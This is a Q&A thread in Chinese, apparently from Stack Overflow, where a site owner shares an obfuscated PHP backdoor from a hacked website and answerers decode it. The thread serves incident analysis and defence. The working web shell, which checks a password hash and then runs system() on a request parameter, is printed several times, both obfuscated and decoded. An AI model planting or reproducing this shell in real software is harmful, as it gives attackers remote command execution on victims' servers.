我的网站被黑了——这段代码有什么作用？

Question

有人入侵了我的网站并包含了这段代码。有人可以解释它的作用吗？

为了更清晰，我重新设置了间距格式。我试过运行代码，但看起来它所做的只是 return 一个 md5 哈希。这是无害的吗？

<? 

$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'),
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),
    base64_decode('dX' .'JsZGVjb2Rl'),
    base64_decode('c3lz' .'dGVt')); 
?>

<? function 
     _787708145($i)
        {
            $a=Array(
                'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
                'cA==',
                'cw==',
                '');
            return base64_decode($a[$i]);
        } 
?>

<?php 
    $_0=_787708145(0);

    $_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));

    if($_1!=$_0)exit;

    $_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);

    if($_2==_787708145(3))exit;

    $GLOBALS['_131068239_'][3]($_2);exit; 
?>

Answer 1

并非无害。这是删除了混淆内容的代码：

$_0 = '2caf6917ca3d9a3a85d26029ed623b1a';
$_1 = md5(urldecode($_REQUEST['p']));

if ($_1 != $_0) exit;

$_2 = urldecode($_REQUEST['s']);
if ($_2 == '') exit;

system($_2);
exit;

如果这存在于您服务器上的 PHP 文件中，则意味着恶意用户可以制作带有 p 和 s 参数的 URL，在为了以用户运行您的网络服务器的权限在您的服务器上执行任何程序（使用 system 调用）。

我建议你摆脱这个。

Answer 2

在下面的代码注释中内联回答。
简而言之，该脚本允许将 shell 写入或上传到您的服务器。

后期编辑：绝对不是无害的，用火烧掉。

<?php 

$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'), // md5 - php function
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'), // urldecode - php function
    base64_decode('dX' .'JsZGVjb2Rl'), //urldecode - php function
    base64_decode('c3lz' .'dGVt')); //system - php function


function _787708145($i)
        {
            $a=Array(
                'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
                'cA==',
                'cw==',
                '');
            return base64_decode($a[$i]);
        } 

$_0=_787708145(0); // md5 hash 2caf6917ca3d9a3a85d26029ed623b1a

$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
// this is a function call md5(urldecode($_REQUEST[p]))
// this script is passed an url as a get or post parameter and getting md5 encoded

if($_1!=$_0)exit; // the md5 hash is compared here with the hash above

$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); 
// another function call, urldecode($_REQUEST[s])
// another parameter is passed

if($_2==_787708145(3))exit; // if the urldecode above == blank then exit

$GLOBALS['_131068239_'][3]($_2); 
// execute system function with the "s" parameter, system(s)
// basically writing a shell on your server here

exit; 
// job done, exit :)

Answer 3

解码 base64 字符串：

bWQ1 是 md5

dXJsZGVjb2Rl 是 urldecode

c3lzdGVt 是 system

MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE= 是 2caf6917ca3d9a3a85d26029ed623b1a

dXJsZGVjb2Rl 是 urldecode

cA== 是 p

cw== 是 s

dXJsZGVjb2Rl 是 urldecode

这应该可以让您深入了解混淆代码的目的。

Answer 4

是的，上面的代码是一个后门。它向用户请求系统命令，此代码在您的服务器上执行该命令。这是上面代码的作用！！

<? 
// Here all the strings are base64 encoded
$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'),                     // md5
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),     // urldecode
    base64_decode('dX' .'JsZGVjb2Rl'),             // urldecode
    base64_decode('c3lz' .'dGVt'));                // system - syntax to execute PHP on the server
?>

在上面的代码中，system用于在您的服务器上执行命令

<? function _787708145($i)     // Function Created
        {
            $a=Array(
                'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',   // MD5 string 2caf6917ca3d9a3a85d26029ed623b1a
                'cA==',      // p
                'cw==',      // s
                '');
            return base64_decode($a[$i]);
        } 
?>

以上是创建的函数

<?php 
    $_0=_787708145(0);

    $_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));

    if($_1!=$_0)exit;

    $_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);

    if($_2==_787708145(3))exit;

    $GLOBALS['_131068239_'][3]($_2);exit; 
?>

这一行

$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));

_787708145(1) : p

因此 $_REQUEST[_787708145(1)]) 将要求用户输入带有 p 参数名称

的值的参数

$GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]) : urlencode($_REQUEST["p"])

$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)])) : md5(urlencode($_REQUEST["p"]))

它将匹配密码if($_1!=$_0)exit;

$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); : urlencode($_REQUEST["s"]);

if($_2=="s")exit;

现在是最后一部分，即

$GLOBALS['_131068239_'][3]($_2); : system($_2); // $_2 is the value supplied by the user to execute command

Answer 5

我的 WordPress 服务器上到处都是病毒，其中包含相同的 md5 编码密钥。我发布了它 here。它被严重混淆，但下面是完全解码的病毒。他们运行 eval() 中的代码在 create_function() 中。

create_function() 从 PHP 7.2 开始贬值，因此升级服务器的 PHP 将防止这种情况再次发生。在我的例子中，后门存在于我服务器上的每个 functions.php 文件中，跨越两个网站和每个 WordPress 主题，无论是否使用。

$c = "2caf6917ca3d9a3a85d26029ed623b1a";
$p = md5(urldecode($_REQUEST["p"]));
if ($p != $c) exit;
$s = urldecode($_REQUEST["s"]);
if ($s == "") exit;
system($s);
exit;

我也遇到了电子邮件问题，所以我怀疑它们是运行发送垃圾邮件的程序。

我的网站被黑了——这段代码有什么作用？

My website got hacked - what does this code do?

php

base64

obfuscation